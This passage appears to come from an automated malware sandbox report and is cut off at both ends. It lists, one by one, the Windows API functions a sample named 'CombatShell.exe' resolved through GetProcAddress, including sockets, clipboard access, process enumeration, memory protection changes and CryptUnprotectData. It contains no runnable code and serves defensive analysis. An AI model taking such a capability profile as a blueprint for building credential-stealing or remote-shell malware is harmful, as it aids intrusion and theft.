00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteFileW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteProcThreadAttributeList (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeviceIoControl (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DisconnectNamedPipe (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DuplicateHandle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnterCriticalSection (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ExitProcess (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FileTimeToSystemTime (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FindClose (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FindFirstFileExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FindNextFileW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlushFileBuffers (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlushViewOfFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FormatMessageA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeEnvironmentStringsW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeLibrary (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCommandLineW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetComputerNameExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetConsoleMode (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetConsoleOutputCP (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentDirectoryW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcess (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcessId (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentThread (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentThreadId (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDiskFreeSpaceA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDiskFreeSpaceW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetEnvironmentStringsW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetEnvironmentVariableW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetExitCodeProcess (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileAttributesA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileAttributesExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileAttributesW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileInformationByHandle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileSize (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileType (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFinalPathNameByHandleW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFullPathNameA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFullPathNameW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetModuleFileNameW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetModuleHandleA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetModuleHandleW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetNamedPipeInfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetNativeSystemInfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetOverlappedResult (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetProcAddress (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetProcessId (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetStdHandle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemDirectoryW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemInfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemTime (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemTimeAsFileTime (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTempPathA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTempPathW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTickCount (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTimeZoneInformation (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetWindowsDirectoryW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalAlloc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalFree (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalLock (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalSize (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GlobalUnlock (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapCompact (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapCreate (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapDestroy (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapReAlloc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapSize (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapValidate (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitOnceBeginInitialize (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitOnceComplete (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeCriticalSection (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeProcThreadAttributeList (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LeaveCriticalSection (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LoadLibraryA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LoadLibraryExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LoadLibraryW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LocalFree (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LockFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LockFileEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter MapViewOfFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Module32FirstW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Module32NextW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter MoveFileExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter MultiByteToWideChar (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OpenProcess (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OutputDebugStringA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OutputDebugStringW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter PostQueuedCompletionStatus (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Process32FirstW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Process32NextW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter QueryPerformanceCounter (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter QueryPerformanceFrequency (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReadConsoleW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReadFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReadFileEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegisterWaitForSingleObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RemoveDirectoryW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlCaptureContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlLookupFunctionEntry (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlVirtualUnwind (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetCurrentDirectoryW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetEndOfFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetEnvironmentVariableW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFileAttributesW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFilePointer (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFilePointerEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFileTime (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetHandleInformation (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetLastError (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetThreadStackGuarantee (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetWaitableTimer (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Sleep (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SleepEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SwitchToThread (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SystemTimeToFileTime (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SystemTimeToTzSpecificLocalTime (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TerminateProcess (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TlsAlloc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TlsFree (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TlsGetValue (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TlsSetValue (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TryEnterCriticalSection (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TzSpecificLocalTimeToSystemTime (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UnlockFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UnlockFileEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UnmapViewOfFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UnregisterWaitEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter UpdateProcThreadAttribute (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitForMultipleObjects (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitForSingleObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitForSingleObjectEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WideCharToMultiByte (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WriteConsoleW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WriteFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WriteFileEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NCryptFreeObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtCancelIoFileEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtCreateFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtDeviceIoControlFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtOpenFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtOpenProcessToken (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtReadFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtWriteFile (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlNtStatusToDosError (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CoCreateGuid (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AcceptSecurityContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AcquireCredentialsHandleA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ApplyControlToken (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DecryptMessage (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteSecurityContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EncryptMessage (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeContextBuffer (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeCredentialsHandle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetUserNameExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeSecurityContextW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter QueryContextAttributesW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DragQueryFileW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ShellExecuteW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseClipboard (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CountClipboardFormats (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EmptyClipboard (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnumClipboardFormats (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnumDisplayMonitors (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnumDisplaySettingsExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetClipboardData (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetClipboardFormatNameW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDC (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetMonitorInfoW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter IsClipboardFormatAvailable (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter MonitorFromPoint (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OpenClipboard (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegisterClipboardFormatW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReleaseDC (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetClipboardData (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetUserProfileDirectoryW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSACleanup (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSADuplicateSocketW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSAGetLastError (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSAIoctl (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSAPoll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSARecv (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSARecvFrom (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSASend (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSASendMsg (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSASendTo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSASocketW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSAStartup (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter accept (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter bind (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter closesocket (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter connect (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter freeaddrinfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter getaddrinfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter getpeername (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter getsockname (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter getsockopt (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ioctlsocket (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter listen (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter recv (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter recvfrom (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter select (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter send (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter sendto (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter setsockopt (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter shutdown (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter socket (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WakeByAddressAll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ProcessPrng (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RaiseException (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlUnwindEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VirtualProtect (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VirtualQuery (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter __iob_func (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter __setusermatherr (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _amsg_exit (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _beginthreadex (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _endthreadex (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _errno (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _initterm (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _localtime64 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _lock (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _unlock (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter abort (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter calloc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter exp (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter free (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter fwrite (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ldexp (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter malloc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter memcmp (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter memcpy (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter memmove (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter memset (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter qsort (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter realloc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strcmp (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strcspn (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strerror (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strlen (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strncmp (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strrchr (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter vfprintf (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter wcslen (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtProtectVirtualMemory (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AllocConsole (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeConsole (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetStdHandle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Process32First (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Process32Next (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptUnprotectData (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlsAlloc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlsSetValue (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlsGetValue (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LCMapStringEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlsFree (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitOnceExecuteOnce (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateEventExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateSemaphoreW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateSemaphoreExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolTimer (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetThreadpoolTimer (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolTimer (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolWait (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetThreadpoolWait (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolWait (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateSymbolicLinkW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentPackageId (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTickCount64 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFileInformationByHandle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeConditionVariable (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called 